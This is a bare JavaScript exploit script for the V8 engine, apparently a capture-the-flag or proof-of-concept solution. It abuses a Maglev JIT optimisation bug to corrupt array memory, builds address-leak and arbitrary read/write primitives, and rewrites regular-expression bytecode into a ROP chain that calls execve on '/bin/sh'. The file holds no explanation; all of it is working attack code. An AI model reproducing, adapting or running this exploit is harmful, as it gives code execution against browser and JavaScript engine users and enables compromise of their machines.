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| const buf = new ArrayBuffer(8);
const dv = new DataView(buf);
function p64() {
if (arguments.length === 1) {
dv.setBigUint64(0, BigInt(arguments[0]), true);
return dv.getFloat64(0, true);
} else if (arguments.length === 2) {
dv.setUint32(0, arguments[1], true);
dv.setUint32(0x4, arguments[0], true);
return dv.getFloat64(0, true);
}
}
function u64(val) {
dv.setFloat64(0, val, true);
return dv.getBigUint64(0, true);
}
function u64_l(val) {
dv.setFloat64(0, val, true);
return dv.getUint32(0, true);
}
function u64_h(val) {
dv.setFloat64(0, val, true);
return dv.getUint32(0x4, true);
}
function gc_l() {
log("major gc");
new ArrayBuffer(0x7fe00000);
}
function gc_s() {
log("minor gc");
for (let i = 0; i < 0x10; i++) {
new Array(0x1000000);
}
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function hex(x) {
return x.toString(16);
}
function printhex() {
if (arguments.length === 1) {
console.log(`\u001b[32m[+]Hex: \u001b[0m0x${arguments[0].toString(16)}`);
} else if (arguments.length === 2) {
console.log(`\u001b[32m[+]${arguments[0]}: \u001b[0m0x${arguments[1].toString(16)}`);
}
}
function log() {
output = `\u001b[32m[+]${arguments[0]}\u001b[0m`;
for (let i = 1; i < arguments.length; i++) {
output += arguments[i];
}
console.log(output);
}
function warn() {
output = `\u001b[31m[+]${arguments[0]}\u001b[0m`;
for (let i = 1; i < arguments.length; i++) {
output += arguments[i];
}
console.log(output);
}
function farrdump(float_arr, start, end) {
for (let i = start; i < end; i++) {
printhex(`arr[${i}]`, u64(float_arr[i]));
}
}
function iarrdump(int_arr, start, end) {
for (let i = start; i < end; i++) {
printhex(`arr[${i}]`, int_arr[i]);
}
}
let cor_arr;
let arr = [];
let arr2 = arr;
function f() {
cor_arr = [arr, arr];
arr2.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(3.4540680395689801e-308);
arr2.push(6.1075495069397581e-309);
arr2.push(8.4879838501182713e-314);
arr2.push(0.1);
}
% PrepareFunctionForOptimization(f)
f();
f();
% OptimizeMaglevOnNextCall(f);
arr = [];
arr.push(1.1);
arr2 = arr;
let float_arr = [1.1, 2.2, 3.3, 4.4];
let obj_array = [float_arr, float_arr];
f();
let cor = cor_arr[0];
function addrr(addr) {
cor[23] = p64(10, addr);
return u64(float_arr[0]);
}
function addrrl(addr) {
cor[23] = p64(10, addr);
return u64_l(float_arr[0]);
}
function addrw(addr, valh, vall) {
cor[23] = p64(10, addr + 1);
float_arr[0] = p64(valh, vall);
}
function addrwl(addr, val) {
cor[23] = p64(10, addr + 1);
float_arr[0] = p64(0, val);
}
let s = "aaaa"
var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
obj_array[0] = regex;
log("regex");
let addr_regex = u64_l(cor[25]);
let data_addr = addrrl(addr_regex + 0x4);
printhex("addr_regex", addr_regex);
printhex("data_addr", data_addr);
regex.exec(s);
let bytecode = addrrl(data_addr + 0x14);
printhex("bytecode", bytecode);
addrw(data_addr + 0x2f - 8, 0, 2);
let arr1 = [];
function push_reg(idx) {
arr1.push((idx << 8) & 0xffffff00 | 0x03);
}
function pop_reg(idx) {
arr1.push((idx << 8) & 0xffffff00 | 0x0c);
}
function mov_reg1_to_reg2(idx1, idx2) {
push_reg(idx1);
pop_reg(idx2);
}
function advance_reg(idx, value) {
arr1.push((idx << 8) & 0xffffff00 | 0x09);
arr1.push(value);
}
function set_reg(idx, value) {
arr1.push((idx << 8) & 0xffffff00 | 0x08);
arr1.push(value);
}
function success() {
arr1.push(0x0000000e);
if (arr1.length % 2 === 1) {
arr1.push(0x0000000e);
}
}
let idx = 0x52;
function add_gadget(addr) {
mov_reg1_to_reg2(3, 5);
advance_reg(5, addr);
mov_reg1_to_reg2(5, idx++);
mov_reg1_to_reg2(4, idx++);
}
mov_reg1_to_reg2(0x53, 4);
mov_reg1_to_reg2(0x52, 3);
advance_reg(3, 0xFE9BBCE0);
add_gadget(0x11ab9fa);
add_gadget(0x2644000);
add_gadget(0x1082d5e);
set_reg(idx++, 0x6e69622f);
set_reg(idx++, 0x68732f);
add_gadget(0x1636fa3);
add_gadget(0x14b44dc);
add_gadget(0x2644000);
add_gadget(0x11ab9fa);
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x1082d5e);
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x11091b0);
set_reg(idx++, 0x3b);
set_reg(idx++, 0);
add_gadget(0x108492d);
success();
cor[23] = p64(50, bytecode + 0x7 + 1);
let arr1idx = 0;
let flarridx = 0;
for (; arr1idx < arr1.length - 1; flarridx += 1) {
float_arr[flarridx] = p64(arr1[arr1idx + 1], arr1[arr1idx]);
arr1idx += 2;
}
regex.exec(s);
|
